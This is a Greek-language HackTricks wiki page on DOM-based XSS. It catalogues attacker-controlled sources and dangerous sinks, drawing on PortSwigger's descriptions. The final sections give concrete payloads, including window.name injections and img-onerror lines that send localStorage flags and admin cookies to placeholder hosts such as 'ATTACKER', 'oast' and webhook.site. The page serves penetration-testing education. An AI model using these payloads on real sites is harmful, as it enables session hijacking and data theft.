DOM XSS

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

DOM Ευπάθειες

Οι DOM ευπάθειες προκύπτουν όταν δεδομένα από attacker-controlled πηγές (όπως location.search, document.referrer, ή document.cookie) μεταφέρονται με μη ασφαλή τρόπο σε δέκτες. Οι δέκτες είναι συναρτήσεις ή αντικείμενα (π.χ. eval(), document.body.innerHTML) που μπορούν να εκτελέσουν ή να αποδώσουν επιβλαβές περιεχόμενο αν τους δοθούν κακόβουλα δεδομένα.

  • Πηγές είναι είσοδοι που μπορούν να παραποιηθούν από επιτιθέμενους, συμπεριλαμβανομένων των URLs, των cookies και των web messages.
  • Δέκτες είναι ενδεχομένως επικίνδυνα endpoints όπου κακόβουλα δεδομένα μπορούν να οδηγήσουν σε ανεπιθύμητες ενέργειες, όπως εκτέλεση script.

Ο κίνδυνος εμφανίζεται όταν τα δεδομένα ρέουν από μια πηγή σε έναν δέκτη χωρίς κατάλληλο validation ή sanitation, επιτρέποντας επιθέσεις όπως XSS.

Tip

Μπορείτε να βρείτε μια πιο ενημερωμένη λίστα από πηγές και δέκτες στο https://github.com/wisec/domxsswiki/wiki

Κοινές πηγές:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Common Sinks:

Open RedirectJavascript InjectionDOM-data manipulationjQuery
locationeval()scriptElement.srcadd()
location.hostFunction() constructorscriptElement.textafter()
location.hostnamesetTimeout()scriptElement.textContentappend()
location.hrefsetInterval()scriptElement.innerTextanimate()
location.pathnamesetImmediate()someDOMElement.setAttribute()insertAfter()
location.searchexecCommand()someDOMElement.searchinsertBefore()
location.protocolexecScript()someDOMElement.textbefore()
location.assign()msSetImmediate()someDOMElement.textContenthtml()
location.replace()range.createContextualFragment()someDOMElement.innerTextprepend()
open()crypto.generateCRMFRequest()someDOMElement.outerTextreplaceAll()
domElem.srcdoc``Local file-path manipulationsomeDOMElement.valuereplaceWith()
XMLHttpRequest.open()FileReader.readAsArrayBuffer()someDOMElement.namewrap()
XMLHttpRequest.send()FileReader.readAsBinaryString()someDOMElement.targetwrapInner()
jQuery.ajax()FileReader.readAsDataURL()someDOMElement.methodwrapAll()
$.ajax()FileReader.readAsText()someDOMElement.typehas()
``Ajax request manipulationFileReader.readAsFile()someDOMElement.backgroundImageconstructor()
XMLHttpRequest.setRequestHeader()FileReader.root.getFile()someDOMElement.cssTextinit()
XMLHttpRequest.open()FileReader.root.getFile()someDOMElement.codebaseindex()
XMLHttpRequest.send()Link manipulationsomeDOMElement.innerHTMLjQuery.parseHTML()
jQuery.globalEval()someDOMElement.hrefsomeDOMElement.outerHTML$.parseHTML()
$.globalEval()someDOMElement.srcsomeDOMElement.insertAdjacentHTMLClient-side JSON injection
``HTML5-storage manipulationsomeDOMElement.actionsomeDOMElement.oneventJSON.parse()
sessionStorage.setItem()XPath injectiondocument.write()jQuery.parseJSON()
localStorage.setItem()document.evaluate()document.writeln()$.parseJSON()
**[**`Denial of Service`**](dom-xss.md#denial-of-service)**someDOMElement.evaluate()document.title``Cookie manipulation
requestFileSystem()``Document-domain manipulationdocument.implementation.createHTMLDocument()document.cookie
RegExp()document.domainhistory.pushState()WebSocket-URL poisoning
Client-Side SQl injectionWeb-message manipulationhistory.replaceState()WebSocket
executeSql()postMessage()````

The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.

Αυτό το είδος XSS είναι πιθανώς το πιο δύσκολο να εντοπιστεί, καθώς πρέπει να κοιτάξετε μέσα στον κώδικα JS, να δείτε αν χρησιμοποιεί κάποιο αντικείμενο του οποίου την τιμή ελέγχετε, και σε αυτή την περίπτωση να εξετάσετε αν υπάρχει κάποιος τρόπος κατάχρησης του για να εκτελεστεί αυθαίρετο JS.

Εργαλεία για να τα βρείτε

Παραδείγματα

Open Redirect

Από: https://portswigger.net/web-security/dom-based/open-redirection

Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.

Είναι κρίσιμο να κατανοήσετε ότι η εκτέλεση αυθαίρετου κώδικα, όπως javascript:alert(1), είναι δυνατή αν έχετε έλεγχο πάνω στο αρχικό μέρος του URL όπου συμβαίνει η ανακατεύθυνση.

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

Από: https://portswigger.net/web-security/dom-based/cookie-manipulation

Οι DOM-based cookie-manipulation vulnerabilities προκύπτουν όταν ένα script ενσωματώνει δεδομένα, τα οποία μπορούν να ελεγχθούν από έναν attacker, στην τιμή ενός cookie. Αυτή η ευπάθεια μπορεί να οδηγήσει σε απρόβλεπτη συμπεριφορά της ιστοσελίδας εάν το cookie χρησιμοποιείται εντός του site. Επιπλέον, μπορεί να εκμεταλλευτεί για την εκτέλεση ενός session fixation attack εάν το cookie εμπλέκεται στην παρακολούθηση των user sessions. Ο κύριος sink που σχετίζεται με αυτή την ευπάθεια είναι:

Sinks:

document.cookie

JavaScript Injection

Από: https://portswigger.net/web-security/dom-based/javascript-injection

DOM-based JavaScript injection vulnerabilities δημιουργούνται όταν ένα script εκτελεί δεδομένα, τα οποία μπορούν να ελεγχθούν από έναν επιτιθέμενο, ως JavaScript code.

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

From: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities εμφανίζονται όταν ένα script ορίζει την ιδιότητα document.domain χρησιμοποιώντας δεδομένα που μπορεί να ελέγξει ένας attacker.

Η ιδιότητα document.domain παίζει έναν βασικό ρόλο στην επιβολή της same-origin policy από τους browsers. Όταν δύο σελίδες από διαφορετικά origins ορίζουν το document.domain στην ίδια τιμή, μπορούν να αλληλεπιδρούν χωρίς περιορισμούς. Αν και οι browsers επιβάλλουν ορισμένα όρια στις τιμές που μπορούν να ανατεθούν στο document.domain, αποτρέποντας την ανάθεση εντελώς ασύνδετων τιμών σε σχέση με το πραγματικό origin της σελίδας, υπάρχουν εξαιρέσεις. Συνήθως, οι browsers επιτρέπουν τη χρήση child ή parent domains.

Sinks:

document.domain

WebSocket-URL poisoning

From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning συμβαίνει όταν ένα script χρησιμοποιεί ελεγχόμενα δεδομένα ως τη διεύθυνση URL προορισμού για μια WebSocket σύνδεση.

Sinks:

The WebSocket constructor can lead to WebSocket-URL poisoning vulnerabilities.

From: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities προκύπτουν όταν ένα script γράφει δεδομένα που ελέγχει ο επιτιθέμενος σε στόχο πλοήγησης μέσα στην τρέχουσα σελίδα, όπως ένας σύνδεσμος στον οποίο μπορεί να γίνει κλικ ή η διεύθυνση URL υποβολής μιας φόρμας.

Sinks:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Ajax request manipulation vulnerabilities προκύπτουν όταν ένα script γράφει attacker-controllable data into an Ajax request το οποίο αποστέλλεται χρησιμοποιώντας ένα XmlHttpRequest αντικείμενο.

Sinks:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities προκύπτουν όταν ένα script περνάει ελεγχόμενα από τον επιτιθέμενο δεδομένα σε ένα API χειρισμού αρχείων ως την παράμετρο filename. Αυτή η ευπάθεια μπορεί να αξιοποιηθεί από έναν επιτιθέμενο για να κατασκευάσει ένα URL που, αν το επισκεφτεί άλλος χρήστης, θα μπορούσε να οδηγήσει το πρόγραμμα περιήγησης του χρήστη να ανοίξει ή να γράψει ένα αυθαίρετο τοπικό αρχείο.

Sinks:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

From: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities εμφανίζονται όταν ένα script ενσωματώνει attacker-controllable data into a client-side SQL query in an unsafe way.

Sinks:

executeSql()

HTML5-storage manipulation

From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

HTML5-storage manipulation vulnerabilities προκύπτουν όταν ένα script stores attacker-controllable data in the web browser’s HTML5 storage (localStorage or sessionStorage). Παρότι αυτή η ενέργεια από μόνη της δεν αποτελεί εγγενώς ευπάθεια ασφαλείας, γίνεται προβληματική αν η εφαρμογή στη συνέχεια reads the stored data and processes it unsafely. Αυτό μπορεί να επιτρέψει σε έναν attacker να εκμεταλλευτεί τον μηχανισμό storage για να πραγματοποιήσει άλλες DOM-based επιθέσεις, όπως cross-site scripting και JavaScript injection.

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

From: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities συμβαίνουν όταν ένα script ενσωματώνει attacker-controllable data into an XPath query.

Sinks:

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

From: https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities εμφανίζονται όταν ένα script ενσωματώνει δεδομένα που ελέγχει ο επιτιθέμενος σε μια συμβολοσειρά που αναλύεται ως δομή δεδομένων JSON και στη συνέχεια επεξεργάζεται από την εφαρμογή.

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

From: https://portswigger.net/web-security/dom-based/web-message-manipulation

Web-message vulnerabilities προκύπτουν όταν ένα script στέλνει δεδομένα που ελέγχει ο attacker ως web message σε άλλο document μέσα στον browser. Ένα παράδειγμα ευάλωτης Web-message manipulation μπορεί να βρεθεί στο PortSwigger’s Web Security Academy.

Sinks:

DOM-data manipulation

From: https://portswigger.net/web-security/dom-based/dom-data-manipulation

DOM-data manipulation vulnerabilities προκύπτουν όταν ένα script γράφει δεδομένα που ελέγχει ο attacker σε ένα πεδίο μέσα στο DOM που χρησιμοποιείται στο ορατό UI ή στην client-side λογική. Αυτή η ευπάθεια μπορεί να εκμεταλλευτεί ένας attacker για να κατασκευάσει ένα URL που, αν το επισκεφτεί άλλος χρήστης, μπορεί να αλλάξει την εμφάνιση ή τη συμπεριφορά του client-side UI.

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

From: https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities εμφανίζονται όταν ένα script περνάει attacker-controllable data unsafely to a problematic platform API. Αυτό περιλαμβάνει APIs που, όταν καλούνται, μπορούν να οδηγήσουν τον υπολογιστή του χρήστη να καταναλώσει υπερβολικά μεγάλες ποσότητες CPU ή χώρου στο δίσκο. Τέτοιες ευπάθειες μπορεί να έχουν σημαντικές παρενέργειες, όπως ο browser να περιορίζει τη λειτουργικότητα του ιστότοπου απορρίπτοντας προσπάθειες αποθήκευσης δεδομένων στο localStorage ή τερματίζοντας πολυφορτωμένα scripts.

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

Dom Clobbering

Implicit globals & window.name κατάχρηση

Η αναφορά στο name χωρίς δήλωση (var/let/const) επιλύεται σε window.name. Επειδή το window.name παραμένει κατά τις cross-origin πλοηγήσεις, ένας επιτιθέμενος μπορεί να προ-γεμίσει το όνομα ενός browsing context με HTML/JS και αργότερα ο κώδικας του θύματος να το αποδώσει ως αξιόπιστα δεδομένα:

  • Άνοιξε/πλοήγησε τον στόχο σε ένα ονοματισμένο context που ελέγχεις:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
  • Ή επαναχρησιμοποίησε το window.open με ένα προσεκτικά κατασκευασμένο όνομα target:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")

Εάν η εφαρμογή αργότερα κάνει element.innerHTML = name (ή παρόμοιο sink) χωρίς sanitization, η attacker-controlled window.name string εκτελείται στο target origin, επιτρέποντας DOM XSS και πρόσβαση σε same-origin storage.

Admin/automation flows: pre-seeded storage & javascript: navigation

Automation bots (π.χ., Playwright) συχνά επισκέπτονται πρώτα μια internal page, θέτουν secrets σε localStorage/cookies, και στη συνέχεια πλοηγούνται σε user-supplied URLs. Οποιοδήποτε DOM XSS primitive (including window.name abuse) σε αυτή τη ροή μπορεί να exfiltrate το seeded secret:

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

Αν το bot δεν περιορίζει τα schemes, η παροχή ενός URL javascript: (javascript:fetch(...)) εκτελείται στην τρέχουσα origin χωρίς νέα πλοήγηση, directly leaking storage values.

Template literal innerHTML + partial sanitization gaps

Frontends που sanitize μόνο επιλεγμένα πεδία αλλά εξακολουθούν να interpolate ένα untrusted απευθείας στο innerHTML είναι trivially exploitable. Παράδειγμα:

fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});

Αν το μη-καθαρισμένο πεδίο αποθηκευτεί server-side (π.χ., bug report “details”), το payload γίνεται stored DOM XSS για οποιονδήποτε privileged viewer της λίστας. Ένα απλό payload όπως <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> εκτελείται όταν ο admin ανοίξει τη σελίδα και εξάγει τα cookies του.

Όταν η εφαρμογή απενεργοποιεί ρητά το SESSION_COOKIE_HTTPONLY (π.χ., Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), το κλεμμένο cookie χορηγεί άμεσα την admin session ακόμα κι αν το signing secret αλλάζει σε κάθε boot (random secret_key αποτρέπει το forging, αλλά η theft εξακολουθεί να λειτουργεί).

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks